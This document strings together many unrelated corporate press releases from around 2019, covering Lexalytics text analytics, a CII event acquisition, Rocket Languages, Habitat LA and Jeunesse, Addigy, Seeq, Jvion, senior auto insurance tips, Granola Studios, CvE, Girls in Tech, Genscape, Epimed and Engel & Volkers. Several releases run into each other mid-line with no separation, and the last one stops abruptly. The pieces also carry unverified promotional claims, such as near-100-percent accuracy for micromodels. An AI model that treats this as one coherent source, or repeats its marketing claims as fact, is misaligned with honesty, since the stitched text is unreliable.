Were seeing a lot of demand from analytics teams within enterprises for a full text analytics stack, not only in the public cloud, but also in on-prem and hybrid environments, said Jeff Catlin, CEO of Lexalytics. Were pleased to be one of the only companies to offer a solution for processing unstructured data for any computer environment.

Micromodels

Today, Lexalytics also announced it is pioneering a new machine learning approach to text analytics that it is calling micromodels. In any text analytics application, there is generally a small subset of phrases, concepts and entities that are difficult to correctly score or extract with monolithic macromodels. These ambiguous terms can cause a drop in a systems accuracy. For example, the word tight can mean many things in standard and vernacular English, from strongly fixed, such as, The lid is tight, to cool, as in, That video was tight! and can have positive, negative or neutral sentiment, depending on usage.

Text analytics companies have traditionally approached this problem by training one monolithic model with large amounts of data. With micromodels, Lexalytics can greatly improve accuracy by identifying the critical subset of terms unique to a particular customer or industry and creating micromodels for each term, dramatically reducing the amount of data and hours required to train the system. Lexalytics predicts that micromodels will approach 100 percent accuracy for certain words and phrases, beating a humans comprehension and other systems currently in use.

From 30 years of building predictive models, I find that the more targeted the model, the better it performs, said Randy Hlavac, CEO, Marketing Synergy and Lecturer, Northwestern University Medill Integrated Marketing Communications. That's why micromodels make sense. Today, you need focused machine learning like Lexalytics provides to best learn about your high value markets. Their expertise and approach are why I use Lexalytics systems for all of my online classes at Northwestern.

Pricing and Availability

Salience, Semantria and Lexalytics Intelligence Platform are available in any computing environment today. For more information and pricing, please contact sales(at)lexalytics(dot)com.

About Lexalytics

Lexalytics processes billions of words every day, globally, for data analytics companies and enterprise data analyst teams that need to tell powerful stories from text data. The companys Salience, Semantria and Lexalytics Intelligence Platform products combine natural language processing with artificial intelligence to transform text in all its forms into usable data. Lexalytics solutions can be deployed on premises, in the cloud or within hybrid cloud infrastructure to reveal context-rich patterns and insights for voice of customer, voice of employee, customer experience management, market research, social listening, news monitoring and other business intelligence programs. Based in Boston, Lexalytics has offices in the United States and Canada. For more information, visit http://www.lexalytics.com, email sales(at)lexalytics(dot)com or call 1-617-249-1049. Follow Lexalytics on Twitter, Facebook and LinkedIn.

Cambridge Innovation Institute (CII) is pleased to announce the acquisition of the Boston operations of London based Vinelake Ltd. which includes four annual Internet of Business (IoB) events in the U.S., consisting of IoTBuild, Internet of Insurance and two on Internet of Manufacturing.

Phillips Kuhl, President, Cambridge Innovation Institute, says, "We are delighted to be able to add the Internet of Business very successful and vertically focused events to CIIs expanding portfolio. We expect there to be particularly good synergy with our recent entry into coverage of developments in artificial intelligence with the acquisition last year of AI World. The addition of Internet of Business U.S. will support CIIs move to cover important developments across a series of strategic applications for digital and smarter transformation of more and more industries. I look forward to bringing together CIIs deep experience with conferences to new industry segments, while also learning from Internet of Business U.S. more about their hosted buyer business model. All of us at CII are excited about this new venture and look forward to welcoming the IoB team.

We are really positive that Vinelakes U.S. events have been acquired by Cambridge Innovation Institute. In two brief years we have managed to grow a series of quality technology conferences in the exciting and dynamic IoT and Data sector. We firmly believe that now with the backing of CII these events will continue to grow and achieve their full potential to become significant meetings for the vertical markets they serve. Mark Steel, Chairman, Internet of Business.

Internet of Business was born from a drive to deliver quality content and networking opportunities, to forward the advancement of various US industries through technology adoption. The Internet of Business events are designed to help each market sector understand how IoT, AI, Data and Edge Computing are affecting their industry and their jobs today and tomorrow. Led by end user case studies presenting real-life insights into the practical application of technology by business and technology leaders, our IoT events arm the attendee with invaluable knowledge to transform their business. We are therefore extremely pleased to now be part of Cambridge Innovation Institute, a leader in the events, training and publishing worlds, recognized for delivering high-level content and building event communities. Our Boston team is excited to explore the synergy between Internet of Business events and CIIs AI, health, life science and rechargeable battery portfolios. Lucy Ashton, Managing Director, Internet of Business USA.

The Boston office of Internet of Business (IoB) USA will remain open, and the employees within that location have been retained.

During the acquisition, Cambridge Innovation Institute was represented in the transaction by John McGovern of Grimes, McGovern & Associates of New York.

About Cambridge Innovation Institute (http://www.CambridgeInnovationInstitute.com)

A vision since 1992: Cambridge Innovation Institute (CII) delivers cutting edge information through events, publishing, and training to leading commercial, academic, government and research institutes across the life science and energy industries. Cambridge Innovation Institute consists of three business areas: our coverage of advances in life sciences under the well-established Cambridge Healthtech Institute (CHI) brand, coverage of rechargeable batteries and related technology and applications under the recently established Cambridge EnerTech (CET) brand, and additional digital technology under the broader Cambridge Innovation Institute brand. All of our efforts focus on segments and applications where high technology is critical and where research and development are essential for the advancement of innovation.

About Internet of Business (IoB) (http://www.InternetofBusiness.com)

Internet of Business (IoB) takes a vertical-focused approach to covering how Internet of Things technologies are impacting the enterprise and technology space  providing breaking news and detailed analysis on a range of sectors. The IoT age is upon us and businesses of all sizes need insight into how its changing the way we live and work, making companies of all sizes more efficient, productive and profitable.

Contact:

Lisa Scimemi

Corporate MARCOM Director

lscimemi@cambridgeinnovationinstitute.comWhen evaluating language programs, youll regularly find Rocket Languages as a first-place finisher - including their world-class Korean lessons.

TopConsumerReviews.com recently gave a best-in-class 5 star rating to Rocket Languages, a leader among programs offering lessons in the Korean language.

What kind of students look for Korean lessons? With over 70 million native speakers around the globe, and the increasing popularity of K-Pop music and K-Drama on TV, its easy to see why the language is interesting to businesspeople and culture fans alike. Finding a place to learn Korean, however, isnt as easy as signing up for a class at the local community college or checking out a book at the library. Because Korean isnt as popular as Spanish, Chinese, and French, some students have a hard time signing up for instruction. For this reason, Korean lessons that can be accessed at home or via mobile device are an excellent option, allowing eager students to learn at their own pace and schedule.

When evaluating language programs, youll regularly find Rocket Languages as a first-place finisher - including their world-class Korean lessons, affirmed Brian Dolezal of TopConsumerReviews.com, LLC. Targeting students looking to move into an intermediate level of fluency, Rocket Korean includes interactive audio lessons, language and culture modules, and more than 2,000 voice recognition phrases that allow learners to compare their spoken Korean with that of a native speaker. For people who need to be able to read and write Korean, Rocket Languages is one of the only programs that offers extensive help, from actual writing lessons to providing transcripts of the audio lessons. Theres no risk to try Rockets Korean lessons: a free trial lesson and a 60-day money back guarantee make this program accessible to every prospective student. For all of these reasons, Rocket Languages earns a top ranking among providers of Korean lessons in 2019.

To find out more about Rocket Languages and other providers of Korean lessons, including reviews and comparison rankings, please visit the Korean lessons category of TopConsumerReviews.com at https://www.topconsumerreviews.com/korean-lessons/.

About Rocket Languages

Rocket Languages is a recognized leader in online language learning, with over 1,200,000 registered users of Rocket Languages products. Formed in early 2004 by Jason Oxenham and Mark Ling, Rocket Languages began with Rocket Spanish Premium and expanded to include more than a dozen language programs designed for effective, natural learning.

About TopConsumerReviews.com

TopConsumerReviews.com, LLC is a leading provider of reviews and rankings for thousands of consumer products and services. From Korean Lessons to Luggage Stores and Travel Insurance, TopConsumerReviews.com delivers in-depth product evaluations in order to make purchasing decisions easier.

Habitat for Humanity of Greater Los Angeles (Habitat LA) and Jeunesse Kids recently partnered to build affordable housing in Culver City. Jeunesse Kids (Jeunesse Globals nonprofit foundation) sponsored a build day with Habitat LA during LEAD Jeunesse 2019 North America, which was held in Los Angeles January 11 - 13. During the annual event, Jeunesse Distributors raised $124,186 to support Habitat LAs mission of building safe, decent and affordable housing. As part of Jeunesses commitment, approximately 60 Jeunesse Distributors spent a day building Habitat for Humanity houses and playhouses at the site of its 10-home Globe Avenue project in Culver City.

We are very grateful to Jeunesse and their Distributors for coming together to support our mission, said Erin Rank, President and CEO, Habitat LA. Not only have they raised a significant amount of money, they came out to build homes with us on on a very cold, wet day here in Los Angeles! Their commitment and warm smiles will have a lasting impact on the families who will call these houses home.

Partnering with Habitat LA to provide families with stable housing is a natural fit for Jeunesse Kids to further its mission of empowering communities to give children a brighter future. While in Los Angeles for its annual LEAD event, Jeunesse Distributors supported Habitat LA in a number of ways beyond construction, including fundraising and building awareness. During the three-day event, Jeunesse invited partner homeowner and single mother of four, Denise Harris, to share her journey to Habitat homeownership. President and CEO Erin Rank was invited on stage Sunday, January 13th to accept a check presented by Jeunesse Distributors and Chief Visionary Officer, Scott Lewis.

We are proud to partner with Habitat LA to help build homes for Los Angeles families. Stable housing provides a multitude of benefits for children and can help lift them up from a lifetime of potential poverty. We are happy to support this project and honored to work alongside the families that will call Globe Avenue home for years to come, said Jeunesse Chief Visionary Officer, Scott Lewis.

Nearly 60 Jeunesse team members, including Randy Ray (Founder and Chief Executive Officer), Wendy Lewis (Founder and Chief Operations Officer) and Scott Lewis (Chief Visionary Officer) attended the build. Many volunteered to build six homes in various stages of construction as well as two playhouses. The scope of work on the homes included interior painting and carport carpentry. Volunteers worked alongside six partner family homeowners during their build day, including David Snyder, a single father and veteran, who shared his journey to Habitat homeownership during the lunch break presentation.

About Habitat for Humanity of Greater Los Angeles

Habitat for Humanity of Greater Los Angeles (Habitat LA) brings people together to build homes, communities and hope. As the top nonprofit homebuilder in the greater Los Angeles area with five consecutive Charity Navigator 4-Star ratings, Habitat LA has partnered with volunteers, donors and Habitat homeowners to build, renovate and repair more than 1,300 homes locally and worldwide since 1990. the lives of thousands of individuals have been transformed as a result of having a decent and affordable place to call home. Habitat homeowners help build their own homes and pay an affordable mortgage. By supporting Habitat LA through volunteerism, donations and supporting affordable housing, everyone can help families achieve the stability and self-reliance they need to build a better future. To learn more, visit http://www.habitatla.org.

About Jeunesse

Jeunesse is a global direct selling company with a mission to positively impact the world by helping people look and feel young, while empowering them to unleash their potential. The companys exclusive skin care and nutritional products form a comprehensive Youth Enhancement System. With multilingual customer service, back office support and a global enrollment system, Jeunesse utilizes a cutting-edge platform to share innovative products, training and support through 32 fully operational offices to markets in more than 140 countries. Learn more at jeunesseglobal.com.

# # #

Media Contacts:

Genetric Brown

O: 424-246-3187

C: 310-808-5902

gbrown(at)habitatla.org

Angela Moore

Starfish P.R.

C: 310-429-8868

angela(at)starfish-pr.com

Lynn McGovern

lynn.mcgovern(at)jeunessehq.com

623-363-6925Addigy, a leading provider of cloud-based Apple device management software, today announced that CRN, a brand of The Channel Company, has named Jason Dettbarn, CEO, to its prestigious list of 2019 Channel Chiefs. The top IT channel leaders included in these awards continually strive to drive growth and revenue in their organization through the channel community.

Each of the 2019 Channel Chiefs selected have demonstrated exceptional leadership, vision, and commitment to their channel partner programs. Channel Chief honorees are selected by CRNs editorial staff as a result of their professional achievements, standing in the industry, dedication to the channel partner community, and strategies for driving future growth and innovation.

Mr. Dettbarn was selected for the 2019 awards for his dedication to developing the Addigy partner ecosystem. In 2018, the company introduced its channel partner program which allocated staff, resources and incentives to managed service providers (MSPs) and other IT solution partners in the delivery of Apple Device Management services powered by Addigy. The company also supports partner education and training with the companys annual partner summit, which features educational keynotes and sessions designed to empower solution providers. Additionally, Addigy has instituted more advanced features in its software to streamline management and enhance profitability.

The individuals on CRNs 2019 Channel Chiefs list deserve special recognition for their contribution and support in the development of robust partner programs, innovative business strategies, and significant influence to the overall health of the IT channel, said Bob Skelley, CEO of The Channel Company. We applaud each Channel Chiefs remarkable record of accomplishments and look forward to following their continued success.

There is a growing requirement for centralized macOS/iOS management and our partners are meeting the needs of customers with Addigy, said company CEO, Jason Dettbarn. Our channel program is very partner-centric, providing extensive marketing support in the form of sales support assets, ready-made marketing campaigns and qualified leads and training, speeding time to revenue and positioning partners for business success.

Addigy Device Management Platform -- Free Trial

A free trial of the Addigy is available at https://www.addigy.com/#signup-form.

Tweet This: Jason Dettbarn, CEO for Addigy Named 2019 CRN Channel Chief - https://bit.ly/2Bu9DCX

Resources:

 Visit Addigy on Owler at https://www.owler.com/company/addigy

 Register with Addigy Today to Receive the Software: https://prod.addigy.com/signup

 Follow Addigy on Twitter at: http://www.twitter.com/addigy

 Visit Addigy online at: http://www.addigy.com

About Addigy

Addigy helps system administrators take control of their IT environments with the industrys most comprehensive cloud-based platform for Unified Apple Device Management. Addigy simplifies and streamlines the IT management of Apple devices with asset management, monitoring, reporting, remote command execution, customer and user management, real-time communications, and more. Contact Addigy at +1 305-330-6677 or visit http://www.addigy.com.

###

Contact Addigy

Call +1 305-330-6677 or email sales@addigy.comThought leaders like IT Vizion with local customer and vertical market expertise are critical to the success of Seeq

IT Vizion and Seeq have joined forces to deliver advanced analytics solutions to their customers in Oil&Gas, Chemicals and Manufacturing.

The partnership will see IT Vizion resell Seeq and deliver software solutions using Seeq Workbench and Seeq Organizer. As the leading provider of advanced analytics solutions for process manufacturing companies, Seeq enables engineers and scientists to rapidly analyze, predict, collaborate, and share insights to improve production outcomes Seeq builds on machine learning and big data technologies to speed time to insight.

IT Vizion is a leading provider of Digitalisation and IT solutions, serving industrial customers around the world. IT Vizion consultants have the industry experience required to understand customer challenges, the IT/OT know-how to apply leading technologies like Seeq to disparate data sets and can help generate returns on digital investments.

The partnership will accelerate digital transformation and harness diagnostic and predictive analytics to enable greater operational efficiency and deeper insight across organizations. IT Vizion has extensive experience and understanding of enterprise operational data platforms. Combined with Seeqs advanced analytics solution, the partnership is a natural fit that benefits customers as they strive to get more value from their operations data. Darren Steele, Vice President of IT Vizion, commented: We are delighted to have joined forces with such a progressive analytics software company. "Our delivery capability is ideal for customers that need help to deploy Seeq and then use it to get high returns and sustainable outcomes from their data landscape. Within weeks we will have Certified Seeq Engineers ready to join customer projects and use Seeq to help pursue No Harm, No Incidents, No Deviations."

Thought leaders like IT Vizion with local customer and vertical market expertise are critical to the success of Seeq, added Will Knight, Head of Partner Sales for Seeq. Our customers rely upon them to deliver advanced analytics solutions that provide insight and drive results. Recent releases of Seeq have focused on expanded machine learning functionality for customers doing predictive analytics, an improved query model for customers accessing contextual data from SQL-based data sources, enhanced scorecarding for tabulated metrics, and frequency analysis capabilities, often referred to as FFT, to transform segments of a time-series signal into the frequency domain.

Inquiries: sales(at)itvizion(dot)com

About IT Vizion:

Founded in 2009, IT Vizion is an international digitalization and IT Services provider with domain expertise in Oil&Gas, Chemicals and Manufacturing. We combine our domain knowledge in Oil&Gas, Chemicals and Manufacturing industries with our IT expertise to help clients maximize the return on their operational data and IT system investments.

An independent company, IT Vizion help improve results using People, Data, Operational Technology and Information Technology. Our software engineers and solution architects have valuable industry experience and understand the business challenges and systems of customers.

About Seeq Corporation:

Founded in 2013, Seeq publishes software applications for manufacturing organizations to rapidly find and share data insights. Oil & Gas, pharmaceutical, specialty chemical, utility, renewable energy and numerous other vertical industries rely on Seeq to improve production outcomes, including yield, margins, quality, and safety. Headquartered in Seattle, Seeq is a privately held virtual company with employees across the United States and sales representation in Asia, Canada, Europe, and South America.

To learn more about IT Vizion, please visit https://itvizion.com.

For more information about Seeq, please visit http://www.seeq.com.Leading healthcare Artificial Intelligence (AI) firm Jvion announced a growth investment from healthcare leaders Intermountain Healthcare and Trinity Health. This round of funding is an expansion of the existing customer relationship between Jvion and both providers and demonstrates their respective ongoing commitments to healthcare innovation, including the practical application of AI solutions for driving improved quality and health outcomes. This investment comes less than a month after the announcement of a significant growth equity investment led by JMI Equity, Health Enterprise Partners and Health Velocity Capital. KLAS recently recognized Jvions solution for its leadership in the growing field of clinical analytics, and for edging out predictive analytics solutions offered by top acute care EMR vendors.

Intermountain Healthcare and Trinity Healthboth recognized for their leadership in digital health innovationare customers of Jvions AI-driven prescriptive analytics platform.

Jvions Cognitive Machine has the ability to transform data into valuable clinical insights, said Nickolas Mark, Managing Director and Partner of Intermountain Ventures. We will work with Jvion to improve care delivery using artificial intelligence and machine learning. This investment will aim to help patients around the world.

By making a financial investment in Jvions technology and future growth, both providers are helping to bring leading, proven AI to the broader provider community.

"We invest in innovations like Jvion's because we are committed to using creativity and technology to transform the health and wellness of the people we serve," said Dina Richard, Senior Vice President and Chief Investment Officer for Trinity Health. "It is key to ensuring we are using every possible resource for achieving our goal of being, and becoming, more people-centered every day.

As changing patient demographics and increased clinical demand continue to pressure providers, Jvions secure AI platform provides a solution that equips clinicians with the actionable information they need to improve outcomes and avoid health regression. The companys analytics engine transforms information about a patient including his/her health, socioeconomic status, behaviors, and environment into targeted risk and intervention insights across more than 50 adverse events. Jvions technology identifies the specific patients on a risk trajectory toward a target event, determines if that trajectory can be changed, andif soprovides the individualized interventions that will improve outcomes. The solution has been applied across inpatient and ambulatory settings, including specialty-specific bundles, as well as within health payer settings.

As we work to bring proven and effective AI to more providers and patients, we have the potential to transform the way healthcare understands and uses AI, said Shantanu Nigam, Jvions CEO. The partnership with Intermountain Healthcare and Trinity Health will help ensure that AI is in the hands of the clinicians who need it and that its potential to keep people healthier is realized.

About Jvion

Jvion delivers healthcares only secure, AI-driven prescriptive analytics platform. By using Eigen-based technology, the machine does what simple predictive analytics or machine learning models cannot. It goes beyond high-risk patient populations to identify those on a trajectory to becoming high risk. Jvion determines the interventions that will more effectively reduce risk and enable clinical action. And it accelerates time to value by leveraging established patient-level intelligence to drive action across hospitals, populations, and patients. For more information, visit http://www.jvion.com.

About Intermountain Healthcare

Intermountain Healthcare is a Utah-based, not-for-profit system of 23 hospitals, 170 clinics, a Medical Group with 1,500 employed physicians, a health plans division called SelectHealth, and other health services. Helping people live the healthiest lives possible, Intermountain is widely recognized as a leader in clinical quality improvement and in efficient healthcare delivery.

About Trinity Health

Trinity Health is one of the largest multi-institutional Catholic health care delivery systems in the nation, serving diverse communities that include more than 30 million people across 22 states. Trinity Health includes 94 hospitals, as well as 109 continuing care locations that include PACE programs, senior living facilities, and home care and hospice services. Based in Livonia, Mich., and with annual operating revenues of $18.3 billion and assets of $26.2 billion, the organization returns $1.1 billion to its communities annually in the form of charity care and other community benefit programs. Trinity Health employs about 133,000 colleagues, including 7,800 employed physicians and clinicians. For more information, visit http://www.trinity-health.org. You can also follow us on Facebook or Twitter.

Contacts

Jvion

Allison Kavanagh

Allison.kavanagh(at)jvion.com

404.483.3713

Intermountain Healthcare

Daron Cowley

Daron.cowley(at)imail.org

801-442-2834

Trinity Health

Eve Pidgeon

pidgeone(at)trinity-health.org

734-343-1270Senior drivers can easily lower their car insurance premiums if they follow several money-saving methods, said Russell Rabichev, Marketing Director of Internet Marketing Company.

Compare-autoinsurance.org has launched a new blog post that explains how senior citizens can lower car insurance rates.

According to the Insurance Institute for Highway Safety (IIHS), the frequency of crashes increases for drivers that are 70-year-old or more. As a result, insurers place seniors in the high-risk category. Senior drivers that are looking for better car insurance premiums can follow the next tips:



Look for a low-mileage discount. Insurance companies offer significant discounts for drivers that drive less. Senior citizens that just got retired are no longer required to commute to work, so they usually drive fewer miles.

Graduate a defensive driving course. Senior citizens will find out how medications and aging affect driving and how to better accommodate to these changes. Also, classes are cheap and will provide significant discounts after graduation.

Install anti-theft devices. Senior citizens can install noisy alarms, ignition kill switches, steering wheel locks, vehicle tracking systems or other anti-theft devices to prove their insurer they want to keep their vehicle safe. Depending on what safety device is installed, insurance companies will offer various discounts.

Look for a cheaper car to insure. Senior citizens are recommended to insure slightly used cars that already have several safety features installed.

Pay for the whole policy at once. Senior citizens can save between 5% to 10% if they pay for the full policy at once. This way senior citizens won't have to pay for monthly interest charges and administration fees.

Keep a clean driving record. Senior citizens that maintain a clean driving record can qualify for a good driver discount. This way they can lower their insurance premiums even further.

Check online insurance quotes. By comparing multiple online insurance quotes, senior citizens can decide if to remain with the same insurance provider or switch to another one that provides better insurance rates.

For additional info, money-saving tips and free car insurance quotes, visit https://compare-autoinsurance.org/

Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc.Virtual live concerts with real artists and their 3D character doubles are a new way to create a unique and energizing concert atmosphere for fans at home, says Dominik Faber, Founder & CEO of Granola Studios.

From Sunday, March 10 through Thursday, March 14, Granola Studios will take part in SXSW 2019 (South by Southwest), the world's largest creative business conference and festivals to be held in Austin, Texas.

For the first time, Granola Studios will be demonstrating its new technology for 3D animated live concerts at SXSW. Visitors can see how artists control their 3D animated avatar in real-time while performing live.

"Virtual live concerts with 3D characters are a new way to create a unique and energizing concert atmosphere for fans at home, says Dominik Faber, Founder & CEO of Granola Studios.

Olivia Reid, The first artist who will perform a virtual live concert with her 3D character double later in 2019, will join Granola Studios at SXSW 2019 to give a behind the scenes look of how the virtual concerts are recorded and broadcasted in real-time with cutting edge motion capture and live animation technologies. Olivia Reid will perform two sets per exhibition day at Granola Studios booth.

The creator behind Olivia Reid's real-time avatar is Mimic Productions, a Berlin-based 3D animation studio known for their high-quality 3D characters and services, and whose clientele includes names such as Roger Federer, Marina Abramovic, and Kanye West. Although Mimic specializes in realistic digital humans, working with Granola Studios provided an opportunity to create toon-style animations more attune to the early work of Mimic's Founder, David Bennett, whose industry experience includes Avatar, The Adventures of Tintin and Monster House.

About Granola Studios

Music-tech startup Granola Studios creates and promotes virtual live concerts. Artists appear as their 3D animated character double controlled by themselves wearing a motion capture suit while performing live in a recording studio. Fans attend the live gigs simultaneously on their tablet computers, desktops or VR headsets from home. The Skype-like technology lets fans interact with other fans and the artist to create a different but energizing live concert atmosphere.

About SXSW

SXSW (South by Southwest) is an event featuring music, film and interactive media that has taken place in Austin, Texas, since 1987. The event attended by professions across the world has focused on helping creative people achieve their goals by providing networking opportunities through multiple sessions, exhibits, and screenings. The diversity of topics discussed by people from many different backgrounds is known to allow for unexpected discoveries. SXSW 2019 will be held from March 8 (Fri) to March 17 (Sun) and the Interactive Festival themed on new technologies and business ideas will be held from March 8 (Fri) to March 12 (Tue).Goodway Group, the digital partner advertisers trust to deliver campaign performance and media efficiency, has spun off a performance agency focused on delivering measurable outcomes to global marketers. Control vs. Exposed (CvE) incorporates the best features of consultancies, media agencies and technology companies in one single package. Services include full-service digital media, programmatic in-housing, consulting and implementation and audit and analytics. CvE offers marketers full transparency from a fee, data and performance perspective.

Control vs. Exposed was created under the vision of a company that would encompass the best of all worlds, said Brody OHarran, EVP, Global Business Strategy at CvE. CvE provides the strategy and know-how of a consultancy, the execution expertise of a media agency and the technical chops of an adtech company. We deliver everything marketers love and need without the legacy elements of these models.

While Goodway Group has made a strong name for itself working domestically across many client types, Goodway noticed a strong trend in client demand for hyper-focused, financially-minded, global marketing expertise. CvE is being created to partner specifically with these marketers who seek truth, answers and performance from their advertising in the form of positive impact on their P&L. The companys scientific marketing approach ensures CMOs are equipped with the right materials when connecting with CEOs and CFOs. Marketers now have the ability to test and leverage their own data to build a lift-based roadmap which drives real profit for their business. CvE and Goodway Group are subsidiaries of Goodway Holdings.

Weve hacked the marketing process to incorporate fresh, scientific methods. Our vision is to create a nimble, strategically minded agency that changes how marketers view their relationships with advertising partners, said Jay Friedman, President of Goodway Holdings.

CvE is the performance gency of the future. It is focused on delivering measurable financial gain for clients based on performance metrics, truth and transparency.

Under Brody OHarrans leadership, CvE is building out a team of the best minds in the media industry with deep expertise working with Fortune 500 brands at global advertising agencies, premier technology companies, data management and SaaS businesses, and leading holding companies. Rounding out the leadership team are Ned Gorges, who joins from Dentsu Aegis Network, Doug Martin, VP, who joins with a background from agencies like The Richards Group, Wieden + Kennedy and Moroch, and Adam Herman, who joins from Centro. Each will lead global business strategy units.

CvE is based in Philadelphia, with newly-created locations in London and Singapore. Similar to Goodway Group, which employs a 350+ remote workforce, CvE employees will have the option to work remotely and will also have access to flexible office spaces in many markets.

About Control vs. Exposed:

Control vs. Exposed is the alpha of performance agencies, a new breed that combines in a single package the best features of consultancies, media agencies and technology companies. We partner with like-minded clients who seek truth, answers and performance from their advertising in the form of measurable business outcomes. We use a scientific marketing approach to ensure CMOs look amazing to both CEOs and CFOs by helping them test and leverage their own data to build a lift-based roadmap which leads to stratospheric business success. For more information, visit https://controlvexposed.com/.Bootcamps such as CODE G are critical for closing that loop from both a technical, skill-building perspective and a practical, confidence perspective.

Girls in Tech, a non-profit organization focused on the empowerment, education, and entrepreneurship of women in technology, today announces the launch of CODE G: Level II. This new intermediate coding program is designed to teach web development using Python and help more women obtain tech jobs.

CODE Gs pilot bootcamp took place last month in San Francisco, and more will take place throughout the year.

CODE G: Level II is a great way to learn and grow Python skills, says Girls in Tech Founder and CEO Adriana Gascoigne. Were excited about this new iteration of the CODE G program and all the opportunities it offers participants.

According to the National Science Foundation, women are underrepresented in the science and engineering workforce, although the gap is shortening. Although women make up half of the total U.S. college-educated workforce, they only make up 29% of Americas science and engineering workforce. Female scientists and engineers are concentrated in different occupations than males; women comprise 62% of social scientists and 48% of scientists working in life sciences, but only 15% of engineers and 25% of those in computer and mathematical sciences.

Education and exposure to new, job market-ready skills is one big way to reduce that gap.

Inside CODE G: Level II

The CODE G: Level II bootcamp consists of immersive 40-hour, five-day courses conducted in person for face-to-face mentorship with instructors. These courses are a mix of instruction, coding, experimentation, and deployment of original creations.

Each CODE G: Level II bootcamp hosts approximately 20 participants broken up into four to five smaller groups.

At our most recent CODE G: Level II bootcamp, held at the AWS Loft in San Francisco from January 28 to February 1, participants worked on Python essentials, web development inside Flask, using Git for version control and interfacing Python sites with SQL databases, creating databases inside SQLAlchemy, and deploying Python code in cloud environments.

Finished projects at the pilot CODE G: Level II bootcamp included a tech company employee satisfaction visualization tool leveraging Kaggle data, a Twitter search term visualization tool, and a dynamic web app for browsing California water quality data.

CODE G: Level II bootcamps are offered thanks to Girls in Tech partners Nutanix, Cisco, and EWC.

Why CODE G Matters

CODE G was developed to help intermediate-level coders build and improve their skills. After conversations with Girls in Techs partners who are committed to diversity, we understood that one of the tech industrys needs is to help talent with strong technical foundations bolster their skills in order to pass technical tests with day-to-day, hands-on skills that are critical for working as a web developer.

Participants at the initial CODE G: Level II bootcamp noted that the experience helped build software engineering skills, offered unique networking opportunities, offered a supportive space for women in tech to learn, and gave participants the chance to build in-depth Python skills outside of a conventional work project.

Education and confidence building are two of the most important factors needed to end gender inequality in the tech industry. Bootcamps such as CODE G are critical for closing that loop from both a technical, skill-building perspective and a practical, confidence perspective.

Working in conjunction with tech companies hiring talent every day, Girls in Tech believes that education and new initiatives such as these can make a major difference for workers entering the industry.

To partner with Girls in Tech on bootcamps or other programs, please visit: https://girlsintech.org/partnerships/This is just another way we can use our proprietary technology and deep understanding of commodity flows to offer value to more market players," said Ben Chu, Director of Equities for Genscape.

Today, Genscape launched the Spirit Aerosystems Insight Report, their next offering of specialized equity insights, which directly monitors fuselage deliveries at the SPR manufacturing facility in Wichita, KS. Report subscribers receive weekly counts along with daily observations allowing for advanced notice of any changes or potential production hiccups ahead of quarterly calls. Because there is a direct correlation between fuselage deliveries and Boeings 737 production, subscribers can closely monitor two important equity names with this intelligence.

Genscape already proved valuable in the equity intelligence space with products like our Tesla Insight Report and our report of daily E&P and Midstream volumes, said Ben Chu, Director of Equities, LNG & Proprietary Products. This is just another way we can use our proprietary technology and deep understanding of commodity flows to offer value to more market players.

While publicly held companies offer high levels of transparency for investors during earnings calls, there are often operational impacts that are hard to anticipate and understand ahead of investor notices. In the first quarter of 2018, SPR (Spirit Aerosystems) and BA (Boeing) investors were surprised when there was a major shortfall in planned fuselage production needed to support Being 737 aircraft deliveries. A lack of skilled mechanics and subcontractor delays greatly reduced the scheduled output, inhibiting Boeings ability to ramp up 737 production  a plane that already has a seven-year backlog. The growth of the 737 aircraft product line is key to valuation for both SPR and BA. Real-time intelligence is now available through Genscape, the worlds leading provider of real-time data and intelligence for commodity and energy markets.

The product is available through a number of current Genscape platforms. For trial requests and expanded product information, click here.

About Genscape

Founded in 1999, Genscape is a pioneer in real-time data delivery driven to improve market transparency and efficiency. Today, Genscape operates the worlds largest private network of in-field monitors and distributes industry-leading alternative data. Genscape delivers unsurpassed market intelligence across the commodity and energy spectrum including power, oil, natural gas, petrochemical and natural gas liquids, agriculture, biofuels, and maritime freight.Through decades of experience and research in pain management, regional anesthesia, and OEM manufacturing, Epimed International is setting the bar with a powerful new training product. The THORAXIS Thoracic Neuraxial Simulator is the ideal training device for common neuraxial blocks of the thoracic spine, or the upper back and abdomen. This ultrasound compatible, anatomically accurate model contains a fluid filled intrathecal space, allowing for realistic loss of resistance and precise placement of epidural needles and catheters.

Weve taken what weve learned over time and built  what we believe  is the best training simulator on the market today, says Epimed President and CEO Gabor J. Racz. Preventing and relieving pain for patients is our primary mission, and this product is a must have educational tool for anesthesia training facilities and residency programs throughout the world.

The THORAXIS consists of four main components: a body housing, a thoracic core, spinal tubing, and a locking syringe with fill line. The housing functions as a stand, drainage reservoir, and contains anatomical landmarks including: T1-T12 spinous processes, vertebral bodies with interspaces, ligament flava, and an epidural space. The locking syringe and fill line work together to pressurize the spinal tubing with fluid, allowing for CSF confirmation during spinal procedures.

Healthcare professionals can learn more about THORAXIS and request a quote at: http://www.epimed.com/products/thoraxis.

About Epimed: Our focus is on developing solutions for experts in Pain Management, Regional Anesthesia and OEM manufacturing. We provide high-quality, effective products to assist with the treatment of acute and chronic pain. Epimed International is a world-wide resource for OEM manufacturing with sites located in upstate New York and Dallas, Texas. We develop specialty devices and services for small scale innovators to Fortune 500 companies with an increasing customer base in Europe, North America, South America and Asia. Additionally, our staff supports continuing education of physicians with a focus on patient safety and participates in local, national, and international meetings and workshops. Epimed has been a lifetime contributor in live surgeries and workshops to help physicians treat chronic and acute pain while developing and sponsoring clinical studies.

If you would like more information about THORAXIS or any of our products, please contact Paul Hyso at (972) 373-9090 or email paulh(at)epimed(dot)com.Tricia Ward-Holloway, License Partner of Engel & Volkers Palm Beach Engel & Volkers is a brand I can proudly stand behind

Engel & Volkers today announced that their Palm Beach real estate brokerage has gained a new partner. Tricia Ward-Holloway joins Amy Carr and Carol Sollak as the third License Partner of Engel & Volkers Palm Beach.

Tricia is a well-known and respected member of the community, said Carr. Her knowledge and expertise, coupled with her passion for the Engel & Volkers brand will take us to new levels of success.

